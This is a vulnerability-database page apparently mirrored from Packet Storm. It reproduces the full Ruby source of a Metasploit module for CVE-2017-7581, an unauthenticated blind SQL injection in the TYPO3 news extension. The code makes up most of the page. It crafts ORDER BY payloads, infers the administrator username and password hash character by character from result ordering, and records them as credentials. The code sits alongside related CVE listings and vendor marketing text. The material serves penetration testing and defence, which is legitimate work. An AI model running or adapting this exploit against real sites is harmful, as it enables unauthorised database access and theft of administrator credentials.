Lucene search
K

TYPO3 News Module SQL Injection

🗓️ 31 Aug 2024 00:00:00Reported by Charles FOL, Marco Rivoli, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 181 Views

This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection can be used to obtain password hashes for application user accounts. This module has been tested on TYPO3 3.16.0 running news extension 5.0.0. This module tries to extract username and password hash of the administrator user. It tries to inject sql and check every letter of a pattern, to see if it belongs to the username or password, it tries to alter the ordering of results

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-7581
29 May 201815:50
circl
CVE
CVE-2017-7581
7 Apr 201719:00
cve
Cvelist
CVE-2017-7581
7 Apr 201719:00
cvelist
Metasploit
TYPO3 News Module SQL Injection
12 Mar 201812:00
metasploit
NVD
CVE-2017-7581
7 Apr 201719:59
nvd
OSV
CVE-2017-7581
7 Apr 201719:59
osv
Prion
Sql injection
7 Apr 201719:59
prion
Veracode
SQL Injection
22 May 201706:52
veracode
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'TYPO3 News Module SQL Injection',  
'Description' => %q{  
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php  
in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary  
SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection  
can be used to obtain password hashes for application user accounts. This module has been  
tested on TYPO3 3.16.0 running news extension 5.0.0.  
  
This module tries to extract username and password hash of the administrator user.  
It tries to inject sql and check every letter of a pattern, to see  
if it belongs to the username or password it tries to alter the ordering of results. If  
the letter doesn't belong to the word being extracted then all results are inverted  
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs  
to the word being extracted then the results are in proper order (News #1 appears before News #2,  
so Pattern1 before Pattern2)  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Marco Rivoli', # MSF code  
'Charles Fol' # initial discovery, POC  
],  
'References' => [  
['CVE', '2017-7581'],  
['URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli'] # Advisory  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'DisclosureDate' => '2017-04-06'  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path of TYPO3', '/']),  
OptString.new('ID', [true, 'The id of TYPO3 news page', '1']),  
OptString.new('PATTERN1', [false, 'Pattern of the first article title', 'Article #1']),  
OptString.new('PATTERN2', [false, 'Pattern of the second article title', 'Article #2'])  
]  
)  
end  
  
def dump_the_hash(patterns = {})  
ascii_charset_lower = 'a'.upto('z').to_a.join('')  
ascii_charset_upper = 'A'.upto('Z').to_a.join('')  
ascii_charset = "#{ascii_charset_lower}#{ascii_charset_upper}"  
digit_charset = '0'.upto('9').to_a.join('')  
full_charset = "#{ascii_charset}#{digit_charset}$./"  
  
username = blind('username', 'be_users', 'uid=1', ascii_charset, digit_charset, patterns)  
print_good("Username: #{username}")  
password = blind('password', 'be_users', 'uid=1', full_charset, digit_charset, patterns)  
print_good("Password Hash: #{password}")  
  
connection_details = {  
module_fullname: fullname,  
username: username,  
private_data: password,  
private_type: :nonreplayable_hash,  
workspace_id: myworkspace_id  
}.merge!(service_details)  
credential_core = create_credential(connection_details)  
login_data = {  
core: credential_core,  
status: Metasploit::Model::Login::Status::UNTRIED,  
workspace_id: myworkspace_id  
}.merge(service_details)  
create_credential_login(login_data)  
end  
  
def blind(field, table, condition, charset, digit_charset, patterns = {})  
# Adding 9 so that the result has two digits, If the length is superior to 100-9 it won't work  
offset = 9  
size = blind_size("length(#{field})+#{offset}",  
table,  
condition,  
2,  
digit_charset,  
patterns)  
size = size.to_i - offset  
vprint_status("Retrieving field '#{field}' string (#{size} bytes)...")  
data = blind_size(field,  
table,  
condition,  
size,  
charset,  
patterns)  
data  
end  
  
def select_position(field, table, condition, position, char)  
payload1 = "select(#{field})from(#{table})where(#{condition})"  
payload2 = "ord(substring((#{payload1})from(#{position})for(1)))"  
payload3 = "uid*(case((#{payload2})=#{char.ord})when(1)then(1)else(-1)end)"  
payload3  
end  
  
def blind_size(field, table, condition, size, charset, patterns = {})  
str = ''  
for position in 0..size  
for char in charset.split('')  
payload = select_position(field, table, condition, position + 1, char)  
if test(payload, patterns)  
str += char.to_s  
break  
end  
end  
end  
str  
end  
  
def test(payload, patterns = {})  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => {  
'id' => datastore['ID'],  
'no_cache' => '1'  
},  
'vars_post' => {  
'tx_news_pi1[overwriteDemand][OrderByAllowed]' => payload,  
'tx_news_pi1[search][maximumDate]' => '', # Not required  
'tx_news_pi1[overwriteDemand][order]' => payload,  
'tx_news_pi1[search][subject]' => '',  
'tx_news_pi1[search][minimumDate]' => '' # Not required  
}  
})  
rescue Rex::ConnectionError, Errno::CONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
end  
if res && res.code == 200 && !(res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil?)  
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])  
end  
  
false  
end  
  
def try_autodetect_patterns  
print_status('Trying to automatically determine Pattern1 and Pattern2...')  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => {  
'id' => datastore['ID'],  
'no_cache' => '1'  
}  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return '', ''  
end  
  
if res && res.code == 200  
news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]')  
pattern1 = news[0].nil? ? '' : news[0].search('span[@itemprop="headline"]').text  
pattern2 = news[1].nil? ? '' : news[1].search('span[@itemprop="headline"]').text  
end  
  
if pattern1.to_s.eql?('') || pattern2.to_s.eql?('')  
print_status("Couldn't determine Pattern1 and Pattern2 automatically, switching to user specified values...")  
pattern1 = datastore['PATTERN1']  
pattern2 = datastore['PATTERN2']  
end  
  
print_status("Pattern1: #{pattern1}, Pattern2: #{pattern2}")  
return pattern1, pattern2  
end  
  
def run  
pattern1, pattern2 = try_autodetect_patterns  
if pattern1 == '' || pattern2 == ''  
print_error('Unable to determine pattern, aborting...')  
else  
dump_the_hash(pattern1: pattern1, pattern2: pattern2)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation